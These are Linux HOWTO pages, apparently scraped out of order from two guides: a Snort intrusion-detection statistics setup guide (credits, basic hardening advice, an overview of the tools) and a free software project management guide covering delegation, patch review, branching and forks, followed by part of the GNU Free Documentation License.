In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto at metalab.unc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

This is the initial release.

The main site for this HOWTO is http://www.lug-burghausen.org/projects/Snort-Statistics/.

Mirrors may be found at the Linux Documentation Project or Snort homepages.

The newest version of this HOWTO will always be made available on the main website, in a variety of formats:

  • HTML.

  • compressed postscript (A4).

  • SGML source.

1.4. Credits

Credits go to a variaty of people including

  • Martin Roesch <roesch at sourcefire.com> Author of Snort

  • Roman Danyliw <roman at danyliw.com> Author of ACID

  • James Hoagland <hoagland at SiliconDefense.com> Author of SnortSnarf

  • Stuart Staniford <stuart at SiliconDefense.com> Author of SnortSnarf

  • Joe McAlerney <joey at siliconDefense.com> Author of SnortSnarf

  • John Lim <jlim at natsoft.com.my> Author of ADODB

  • Afan Ottenheimer <afan at users.sourceforge.net> Author of PHPlot

  • Andreas Östling <andreaso at it.su.se> Author of arachnids_upd

  • Max Vision <vision at whitehats.com> "Distributor" of vision.rules and maintainer of http://www.whitehats.com/

  • Greg Sarsons <gsarsons at home.com> for proof reading and suggestions

  • All the peaople on the snort-users mailinglist, they helped me and of course they will help YOU >;)

  • ...

If I missed someone it was not because of not honoring her or his work!

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <spoppi at gmx.de>.

1.6. Translations

There are currently no translations available.

Prev | Home | Next
Snort-Setup for Statistics HOWTO |  | Structure


Security Issues

Snort-Setup for Statistics HOWTO
Prev Next

5. Security Issues

Snort is running under an own userid/group pair snort/snort. This should make sure that any buffer overflow not yet fixed (if any) only gets the rights the snort user has. For people for whom this is not enough you might use a changeroot'ed environment using snort's command line option -t. But please don't ask me how to create it, I've never done it and maybe will not do it anytime.

As with all security related systems don't allow more services as needed. If you do a standard installation of any linux distribution take a look into /etc/inetd.conf if your distribution is still using the older inetd or /etc/xinetd.d/* on an xinetd based system and disable all services not really vital for your system. E.g. you don't want to use telnet, replace it with ssh.

Also take a look at the initscripts, on a Sytem V based system like RedHat found in /etc/rc.d/init.d/*. If there are any services like nfs and portmap which you don't use on such a system delete the corresponding packages completely.

And you should read a lot of security related papers and HOWTOs, like the Security-HOWTO, the System Administrators Guide or Network Administrator guide.

Or take a look on various security related websites like http://www.securityfocus.com/, http://www.linuxsecurity.org/ or http://www.insecure.org/

Prev | Home | Next
Configuration |  | Getting Help


Structure

Snort-Setup for Statistics HOWTO
Prev Next

2. Structure

This document is supposed to be a step by step guide on how to install and configure snort version 1.8.3, ACID, a web based frontend for statistical realtime snort data with the underlying MySQL database and its support packages PHPlot and ADODB, SnortSnarf, also a statistical tool with a web frontend for analysing the snort logfile, arachnids_upd for always getting the actual rules from Max Vision's http://www.whitehats.com/ site, and a sample swatch configuration I use to check if snort reports errors which I do not get because snort has stopped.

Prev | Home | Next
Introduction |  | Technical Overview


Technical Overview

Snort-Setup for Statistics HOWTO
Prev Next

3. Technical Overview

Snort is mainly a so called Network Intrusion Detection System (NIDS), it is Open Source and available for a variaty of unices as well as Microsoft Windows (R).

A NIDS cares for a whole network segment in contrast to a host based IDS which only cares for the host it is running on.

Since NIDS are mostly used in conjunction with firewalls it is vital to not being vulnerable for attacks itself. Therefor all interfaces used with snort bound to should be set up without ip addresses. Since this can not be achieved in every configuration, e.g. if you want to bind snort on an isdn interface ippp0, it should be considered to use a standalone computer for snort and set it up as a firewall and router for the dial-up connection too.

For more information on that topic see the Firewall-HOWTO or my Firewalling+Masquerading+Diald+dynamic IP-HOWTO.

Snort can be used to care for more than one network segment which we will discuss later.

Snort also can be used as a sniffer to troubleshoot network problems, but that's not a topic in this document.

ACID, the Analysis Console for Intrusion Databases, is part of the AIR-CERT project. It makes use of PHPlot, a library for creating nice graphs in PHP, and ADODB, an abstraction library for combining PHP and various database systems like MySQL and PostgreSQL. The ACID homepage says:

"The Analysis Console for Intrusion Databases (ACID) is a PHP-based analysis engine to search and process a database of incidents generated by security-related software such as IDSes and firewalls."

Max Vision's IDS rules (referred to as vision.rules because this is the name of the downloadable file) are used to complete the rules shipped with snort.

arachnids_upd is a small but fine perl script which downloads the actual vision.rules using wget and optionally deletes single rules given in an ASCII file.

Prev | Home | Next
Structure |  | Configuration


Bibliography

Printed Books

Karl Fogel, Open Source Development with CVS, Coriolois Open Press, 1999, 1-57610-490-7.

Fogel's "guide to using CVS in the free software world" is much more than its subtitle. In the publisher's own words: "Open Source Development with CVS is one of the first books available that teaches you development and implementation of Open Source software." It also includes the best reference and tutorial to CVS I have ever seen. It is the book that was so good that it prompted me to write this HOWTO because I thought the role it tried to serve was so important and useful. Please check it or buy it if you can and are seriously interested in running a free software project.

Lawrence Lessig, Code and Other Laws of Cyberspace, Basic Books, 2000, 0-465-03913-8.

While it only briefly talks about free software (and does it by tiptoeing around the free software/open source issue with the spineless use of the term "open code" that only a lawyer could coin), Lessig's book is brilliant. Written by a lawyer, it talks about how regulation on the Internet is not done with law, but with the code itself and how the nature of the code will determine the nature of future freedoms. In addition to being a quick and enjoyable read, it gives some cool history and describes how we need free software in a way more powerfully than anything I've read outside of RMS's "Right to Read."

Eric Raymond, The Cathedral and the Bazaar: Musings on Linux and Open Source by an Accidental Revolutionary, O'Reilly, 1999, 1-56592-724-9.

Although I have to honestly say that I am not the ESR fan that I used to be, this book proved invaluable in getting me where I am today. The essay that gives the book its title does a good job of sketching the free software process and does an an amazing job of making an argument for free software/open source development as a road to better software. The rest of the book has other of ESR's articles, which for the most part are posted on his website. Still, it's nice thing to own in hard copy and something that every free software/open source hacker should read.

Web-Accessible Resources

George N Dafermos, Management and Virtual Decentralized Networks: The Linux Project.

Since the paper includes its own abstract, I thought I would include it here verbatim:

This paper examines the latest of paradigms - the Virtual Network(ed) Organisation - and whether geographically dispersed knowledge workers can virtually collaborate for a project under no central planning. Co-ordination, management and the role of knowledge arise as the central areas of focus. The Linux Project and its development model are selected as a case of analysis and the critical success factors of this organisational design are identified. The study proceeds to the formulation of a framework that can be applied to all kinds of virtual decentralised work and concludes that value creation is maximized when there is intense interaction and uninhibited sharing of information between the organisation and the surrounding community. Therefore, the potential success or failure of this organisational paradigm depends on the degree of dedication and involvement by the surrounding community.

This paper was referred to me in my capacity as author of this HOWTO and I was very impressed. It's written by a graduate student in management and I think it succeeds at evaluating the Linux project as an example of a new paradigm in management--one that you will be be placing yourself at the center of in your capacity as maintainer of a free software project.

As a developer trying to control an application and guide it to success in the free software world, I'm not sure how useful Dafermos's argument is. It does however, provide a theoretical justification for my HOWTO--free software project management is a different creature than proprietary software project management. If you are interested in the conceptual and theoretical ways that free software project management differs from other types of management, this is a great paper to read. If this paper answers questions of "how?", Dafermos answers the (more difficult to defend) questions of "why?" and does a very good job.

Richard Gabriel, The Rise of "Worse is Better".

A well written article although I think the title may have confused as many people as the rest of the essay helped. It offers a good description of how to design programs that will succeed and stay maintainable as they grow.

Montey Manley, Managing Projects the Open Source Way, Linux Programming, Oct 31, 2000.

In one of the better articles on the subject that I've read, Monty sums up some of the major points I touch on including: starting a project, testing, documentation, organizing a team and leadership, and several other topics. While more opinionated that I try to be, I think its an important article that I found very helpful in writing this HOWTO. I've tried to cite him in the places where I borrowed from him most.

I have problems much of this piece and I recommend you read [KRAWITZ] at the same time you read Monty's article for a good critique.

Eric Steven Raymond, Software Release Practice HOWTO.

At first glance, ESR's release practice HOWTO seems to share a lot of terrain with this document. Upon closer examination, the differences become apparent but they are closely related. His document, read in conjunction with mine, will give a reader a good picture of how to go about managing a project. ESR's HOWTO goes into a bit more detail on how to write and what languages to write in. He tends to give more specific instructions and checklists ("name this file this, not this") while this HOWTO speaks more conceptually. There are several sections that are extremely similar. It's also much shorter.

My favorite quote from his HOWTO is: ""Managing a project well when all the participants are volunteers presents some unique challenges. This is too large a topic to cover in a HOWTO." Oh really? Perhaps I just do a poor job.

Vivek Venugopalan, CVS Best Practices.

Venugopalan provides one of the best essays on effective use of CVS that I've come across. It is written for people who already have a good knowledge of CVS. In the chapter on branching, he describes when and how to branch but gives no information on what CVS commands you should use to do this. This is fine (technical CVS HOWTO have been written) but CVS newbies will want to spend some time with Fogel's reference before they will find this one very useful.

Venugopalan creates checklists of things to do before, after, and around releases. It's definitely worth a read through as most of his ideas will save tons of developer head aches over any longer period of time.

Advogato Articles

Stephen Hindle, 'Best Practices' for Open Source?, Advogato, March 21, 2001.

Touching mostly on programming practice (as most articles on the subject usually do), the article talks a little about project management ("Use it!") and a bit about communication within a free software project.

Bram Cohen, http://www.advogato.org/article/258.htmlHow to Write Maintainable Code, Advogato, March 15, 2001.

This article touches upon the "writing maintainable code" discussion that I try hard to avoid in my HOWTO. It's one of the better (and most diplomatic) articles on the subject that I've found.

Robert Krawitz, Free Source Project Management, Advogato, November 4, 2000.

This article made me happy because it challenged many of the problems that I had with Monty's article on LinuxProgramming. The author argues that Monty calls simply for the application of old (proprietary software) project management techniques in free software projects instead of working to come up with something new. I found his article to be extremely well thought out and I think it's an essential read for any free software project manager.

Lalo Martins, Ask the Advogatos: why do Free Software projects fail?, Advogato, July 20, 2000.

While the article is little more than a question, reading the answers to this question offered by Advogato's readers can help. In a lot of ways, this HOWTO acts as my answer to the questions posed in this article but there are others, many of which might take issue with whats is in this HOWTO. It's worth checking out.

David Burley, In-Roads to Free Software Development, Advogato, June 14, 2000.

This document was written as a response to another Advogato article. Although not about running a project, this describes some of the ways that you can get started with free software development without starting a project. I think this is an important article. If you are interested in becoming involved with free software, this article showcases some of the ways that you can do this without actually starting a project (something that I hope this HOWTO has demonstrated is not to be taken lightly).

Jacob Moorman, Importance of Non-Developer Supporters in Free Software, , Advogato, April 16, 2000.

Moorman's is a short article but it brings up some good points. The comment reminding developers to thank their testers and end-users is invaluable and oft-forgotten.

Leslie Orchard, On Naming an Open Source Project, Advogato, April 12, 2000.

I didn't even have a section on project naming in this HOWTO (See Section 2.2) until Leslie Orchard's article reminded me of it. Thanks to Leslie for writing this article!

David Allen, Version Numbering Madness, Advogato, February 28, 2000.

In this article, David Allen challenges the whole "Major.Minor.Patch" version numbering scheme. Its good to read this as you read Section 2.4. I liked the article and it describes some of the projects that I bring up in my discussion of version numbering.

Prev | Home | Next
Maintaining a Project: Interacting with Users |  | GNU Free Documentation License


Maintaining a Project: Interacting with Developers

Free Software Project Management HOWTO
Prev Next

3. Maintaining a Project: Interacting with Developers

Once you have gotten your project started, you have overcome the most difficult hurdles in the development process of your program. Laying a firm foundation is essential, but the development process itself is equally important and provides just as many opportunities for failure. In the next two sections, I will describe running a project by discussing how to maintain a development effort through interactions with developers and with users.

In releasing your program, your program becomes free software. This transition is more than just a larger user base. By releasing your program as free software, your software becomes the free software community's software. The direction of your software's development will be reshaped, redirected, and fully determined by your users and, to a larger extent, by other developers in the community.

The major difference between free software development and propriety software development is the developer base. As the leader of a free software project, you need to attract and keep developers in a way that leaders of proprietary software projects simply don't have to worry about. As the person leading development of a free software project, you must harness the work of fellow developers by making responsible decisions and by responsibly choosing not to make decisions. You have to direct developers without being overbearing or bossy. You need to strive to earn respect and never forget to give it out.

3.1. Delegating Work

By now, you've hypothetically followed me through the early programming of a piece of software, the creation of a website and system of documentation, and we've gone ahead and (as will be discussed in Section 4.3) released it to the rest of the world. Times passes, and if things go well, people become interested and want to help. The patches begin flowing in.

Like the parent of any child who grows up, it's now time to wince, smile and do most difficult thing in any parents life: It's time to let go.

Delegation is the political way of describing this process of "letting go." It is the process of handing some of the responsibility and power over your project to other responsible and involved developers. It is difficult for anyone who has invested a large deal of time and energy into a project but it essential for the growth of any free software project. One person can only do so much. A free software project is nothing without the involvement of a group of developers. A group of developers can only be maintained through respectful and responsible leadership and delegation.

As your project progresses, you will notice people who are putting significant amounts of time and effort into your project. These will be the people submitting the most patches, posting most on the mailing lists, and engaging in long email discussions. It is your responsibility to contact these people and to try and shift some of the power and responsibility of your position as the project's maintainer onto them (if they want it). There are several easy ways you can do this:

In a bit of a disclaimer, delegation need not mean rule by committee. In many cases it does and this has been proven to work. In other cases this has created problems. Managing Projects the Open Source Way argues that "OSS projects do best when one person is the clear leader of a team and makes the big decisions (design changes, release dates, and so on)." I think this often true but would urge developers to consider the ideas that the project leader need not be the project's founder and that these important powers need not all rest with one person but that a release manager may be different than a lead developer. These situations are tricky politically so be careful and make sure it's necessary before you go around empowering people.

3.1.1. How to delegate

You may find that other developers seem even more experienced or knowledgeable than you. Your job as a maintainer does not mean you have to be the best or the brightest. It means you are responsible for showing good judgment and for recognizing which solutions are maintainable and which are not.

Like anything, its easier to watch others delegate than to do it yourself. In a sentence: Keep an eye out for other qualified developers who show an interest and sustained involvement with your project and try and shift responsibility toward them. The following ideas might be good places to start or good sources of inspiration:

3.1.1.1. Allow a larger group of people to have write access to your CVS repository and make real efforts toward rule by a committee

Apache is an example of a project that is run by small group of developers who vote on major technical issues and the admission of new members and all have write access to the main source repository. Their process is detailed online.

The Debian Project is an extreme example of rule by committee. At current count, more than 700 developers have full responsibility for aspects of the project. All these developers can upload into the main FTP server, and vote on major issues. Direction for the project is determined by the project's social contract and a constitution. To facilitate this system, there are special teams (i.e. the install team, the Japanese language team) as well as a technical committee and a project leader. The leader's main responsibility is to, "appoint delegates or delegate decisions to the Technical Committee."

While both of these projects operate on a scale that your project will not (at least initially), their example is helpful. Debian's idea of a project leader who can do nothing but delegate serves as a caricature of how a project can involve and empower a huge number of developers and grow to a huge size.

3.1.1.2. Publicly appoint someone as the release manager for a specific release

A release manager is usually responsible for coordinating testing, enforcing a code freeze, being responsible for stability and quality control, packaging up the software, and placing it in the appropriate places to be downloaded.

This use of the release manager is a good way to give yourself a break and to shift the responsibility for accepting and rejecting patches onto someone else. It is a good way of very clearly defining a chunk of work on the project as belonging to a certain person and its a great way of giving yourself room to breath.

3.1.1.3. Delegate control of an entire branch

If your project chooses to have branches (as described in Section 3.3), it might be a good idea to appoint someone else to be the the head of a branch. If you like focusing your energy on development releases and the implementation of new features, hand total control over the stable releases to a well-suited developer.

The author of Linux, Linus Torvalds, came out and crowned Alan Cox as "the man for stable kernels." All patches for stable kernels go to Alan and, if Linus were to be taken away from work on Linux for any reason, Alan Cox would be more than suited to fill his role as the acknowledged heir to the Linux maintainership.

3.2. Accepting and Rejecting Patches

This HOWTO has already touched on the fact that as the maintainer of a free software project, one of your primary and most important responsibilities will be accepting and rejecting patches submitted to you by other developers.

3.2.1. Encouraging Good Patching

As the person managing or maintaining the project, you aren't the person who is going to be making a lot of patches. However, it's worth knowing about ESR's section on Good Patching Practice in the Software Release Practices HOWTO [ESRHOWTO]. I don't agree with ESR's claim that most ugly or undocumented patches are probably worth throwing out at first sight--this just hasn't been my experience, especially when dealing with bug fixes that often don't come in the form of patches at all. Of course, this doesn't mean that I like getting poorly done patches. If you get ugly -e patches, if you get totally undocumented patches, and especially if they are anything more than trivial bug-fixes, it might be worth judging the patch by some of the criteria in ESR's HOWTO and then throwing people the link to the document so they can do it the "right way."

3.2.2. Technical judgment

In Open Source Development with CVS, Karl Fogel makes a convincing argument that the most important things to keep in mind when rejecting or accepting patches are:

  • A firm knowledge of the scope of your program (that's the "idea" I talked about in Section 2.1);

  • The ability to recognize, facilitate, and direct "evolution" of your program so that the program can grow and change and incorporate functionality that was originally unforeseen;

  • The necessity to avoid digressions that might expand the scope of the program too much and result and push the project toward an early death under its own weight and unwieldiness.

These are the criteria that you as a project maintainer should take into account each time you receive a patch.

Fogel elaborates on this and states the "the questions to ask yourself when considering whether to implement (or approve) a change are:"

  • Will it benefit a significant percentage of the program's user community?

  • Does it fit within the program's domain or within a natural, intuitive extension of that domain?

The answers to these questions are never straightforward and its very possible (and even likely) that the person who submitted the patch may feel differently about the answer to these questions than you do. However, if you feel that that the answer to either of those questions is "no," it is your responsibility to reject the change. If you fail to do this, the project will become unwieldy and unmaintainable and many ultimately fail.

3.2.3. Rejecting patches

Rejecting patches is probably the most difficult and sensitive job that the maintainer of any free software project has to face. But sometimes it has to be done. I mentioned earlier (in Section 3 and in Section 3.1) that you need to try and balance your responsibility and power to make what you think are the best technical decisions with the fact that you will lose support from other developers if you seem like you are on a power trip or being overly bossy or possessive of the community's project. I recommend that you keep these three major concepts in mind when rejecting patches (or other changes):

3.2.3.1. Bring it to the community

One of the best ways of justifying a decision to reject a patch and working to not seem like you keep an iron grip on your project is by not making the decision alone at all. It might make sense to turn over larger proposed changes or more difficult decisions to a development mailing list where they can be discussed and debated. There will be some patches (bug fixes, etc.) which will definitely be accepted and some that you feel are so off base that they do not even merit further discussion. It is those that fall into the gray area between these two groups that might merit a quick forward to a mailing list.

I recommend this process wholeheartedly. As the project maintainer you are worried about making the best decision for the project, for the project's users and developers, and for yourself as a responsible project leader. Turning things over to an email list will demonstrate your own responsibility and responsive leadership as it tests and serves the interests of your software's community.

3.2.3.2. Technical issues are not always good justification

Especially toward the beginning of your project's life, you will find that many changes are difficult to implement, introduce new bugs, or have other technical problems. Try to see past these. Especially with added functionality, good ideas do not always come from good programmers. Technical merit is a valid reason to postpone an application of a patch but it is not always a good reason to reject a change outright. Even small changes are worth the effort of working with the developer submitting the patch to iron out bugs and incorporate the change if you think it seems like a good addition to your project. The effort on your part will work to make your project a community project and it will pull a new or less experienced developer into your project and even teach them something that might help them in making their next patch.

3.2.3.3. Common courtesy

It should go without saying but, above all and in all cases, just be nice. If someone has an idea and cares about it enough to write some code and submit a patch, they care, they are motivated, and they are already involved. Your goal as the maintainer is make sure they submit again. They may have thrown you a dud this time but next time may be the idea or feature that revolutionizes your project.

It is your responsibility to first justify your choice to not incorporate their change clearly and concisely. Then thank them. Let them know that you a appreciate their help and feel horrible that you can't incorporate their change. Let them know that you look forward to their staying involved and you hope that the next patch or idea meshes better with your project because you appreciate their work and want to see it in your application. If you have ever had a patch rejected after putting a large deal of time, thought, and energy into it, you remember how it feels and it feels bad. Keep this in mind when you have to let someone down. It's never easy but you need to do everything you can to make it as not-unpleasant as possible.

3.3. Stable and Development Branches

The idea of stable and development branches has already been described briefly in Section 2.4 and in Section 3.1.1.3. These allusions attest to some of the ways that multiple branches can affect your software. Branches can let you avoid (to some extent) some of the problems around rejecting patches (as described in Section 3.2) by allowing you to temporarily compromise the stability of your project without affecting those users who need that stability.

The most common way of branching your project is to have one branch that is stable and one that is for development. This is the model followed by the Linux kernel that is described in Section 2.4. In this model, there is always one branch that is stable and always one that is in development. Before any new release, the development branch goes into a "feature freeze" as described in Section 3.4.1 where major changes and added features are rejected or put on hold under the development kernel is released as the new stable branch and major development resumes on the development branch. Bug fixes and small changes that are unlikely to have any large negative repercussions are incorporated into the stable branch as well as the development branch.

Linux's model provides an extreme example. On many projects, there is no need to have two versions constantly available. It may make sense to have two versions only near a release. The Debian project has historically made both a stable and an unstable distribution available but has expanded to this to include: stable, unstable, testing, experimental, and (around release time) a frozen distribution that only incorporates bug fixes during the transition from unstable to stable. There are few projects whose size would necessitate a system like Debian's but this use of branches helps demonstrate how they can be used to balance consistent and effective development with the need to make regular and usable releases.

In trying to set up a development tree for yourself, there are several things that might be useful to keep in mind:

Minimize the number of branches

Debian may be able to make good use of four or five branches but it contains gigabytes of software in over 5000 packages compiled for 5-6 different architectures. For you, two is probably a good ceiling. Too many branches will confuse your users (I can't count how many times I had to describe Debian's system when it only had 2 and sometimes 3 branches!), potential developers and even yourself. Branches can help but they come at a cost so use them very sparingly.

Make sure that all your different branches are explained

As I mentioned in the preceding paragraph, different branches will confuse your users. Do everything you can to avoid this by clearly explaining the different branches in a prominent page on your website and in a README file in the FTP or web directory.

I might also recommend against a mistake that I think Debian has made. The terms "unstable," "testing," and "experimental" are vague and difficult to rank in order of stability (or instability as the case may be). Try explaining to someone that "stable" actually means "ultra stable" and that "unstable" doesn't actually include any unstable software but is really stable software that is untested as a distribution.

If you are going to use branches, especially early on, keep in mind that people are conditioned to understand the terms "stable" and "development" and you probably can't go wrong with this simple and common division of branches.

Make sure all your branches are always available

Like a lot of this document, this should probably should go without saying but experience has taught me that it's not always obvious to people. It's a good idea to physically split up different branches into different directories or directory trees on your FTP or web site. Linux accomplishes this by having kernels in a v2.2 and a v2.3 subdirectory where it is immediately obvious (after you know their version numbering scheme) which directory is for the most recent stable and the current development releases. Debian accomplishes this by naming all their distribution with names (i.e. woody, potato, etc.) and then changing symlinks named "stable," "unstable" and "frozen" to point to which ever distribution (by name) is in whatever stage. Both methods work and there are others. In any case, it is important that different branches are always available, are accessible from consistent locations, and that different branches are clearly distinguished from each other so your users know exactly what they want and where to get it.

3.4. Other Project Management issues

There are more issues surrounding interaction with developers in a free software project that I can not touch on in great detail in a HOWTO of this size and scope. Please don't hesitate to contact me if you see any major omissions.

Other smaller issues that are worth mentioning are:

3.4.1. Freezing

For those projects that choose to adopt a split development model (Section 3.3), freezing is a concept that is worth becoming familiar with.

Freezes come in two major forms. A "feature freeze" is a period when no significant functionality is added to a program. It is a period where established functionality (even skeletons of barely working functionality) can be improved and perfected. It is a period where bugs are fixed. This type of freeze is usually applied some period (a month or two) before a release. It is easy to push a release back as you wait for "one more feature" and a freeze helps to avoid this situation by drawing the much needed line in the sand. It gives developers room they need to get a program ready for release.

The second type of freeze is a "code freeze" which is much more like a released piece of software. Once a piece of software has entered a "code freeze," all changes to the code are discouraged and only changes that fix known bugs are permitted. This type of freeze usually follows a "feature freeze" and directly precedes a release. Most released software is in what could be interpreted as a sort of high level "code freeze."

Even if you never choose to appoint a release manager (Section 3.1.1.2), you will have an easier time justifying the rejection or postponement of patches (Section 3.2) before a release with a publicly stated freeze in effect.

3.5. Forks

I wasn't sure about how I would deal with forking in this document (or if I would deal with forking at all). A fork is when a group of developers takes code from a free software project and actually starts a brand new free software project with it. The most famous example of a fork was between Emacs and XEmacs. Both emacsen are based on an identical code-base but for technical, political, and philosophical reasons, development was split into two projects which now compete with each other.

The short version of the fork section is, don't do them. Forks force developers to choose one project to work with, cause nasty political divisions, and redundancy of work. Luckily, usually the threat of the fork is enough to scare the maintainer or maintainers of a project into changing the way they run their project.

In his chapter on "The Open Source Process," Karl Fogel describes how to do a fork if you absolutely must. If you have determined that is absolutely necessary and that the differences between you and the people threatening to fork are absolutely unresolvable, I recommend Fogel's book as a good place to start.

Prev | Home | Next
Starting a Project |  | Maintaining a Project: Interacting with Users


GNU Free Documentation License

Free Software Project Management HOWTO
Prev

A. GNU Free Documentation License

A.1. 0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or non-commercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

A.2. 1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

A.3. 2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or non-commercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

A.4. 3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

A.5. 4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  • A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  • B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  • C. State on the Title Page the name of the publisher of the Modified Version, as the publisher.

  • D. Preserve all the copyright notices of the Document.

  • E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  • F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  • G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  • H. Include an unaltered copy of this License.

  • I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  • J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  • K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  • L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  • M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  • N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version .

A.6. 5. COMBINING DOCUMENTS

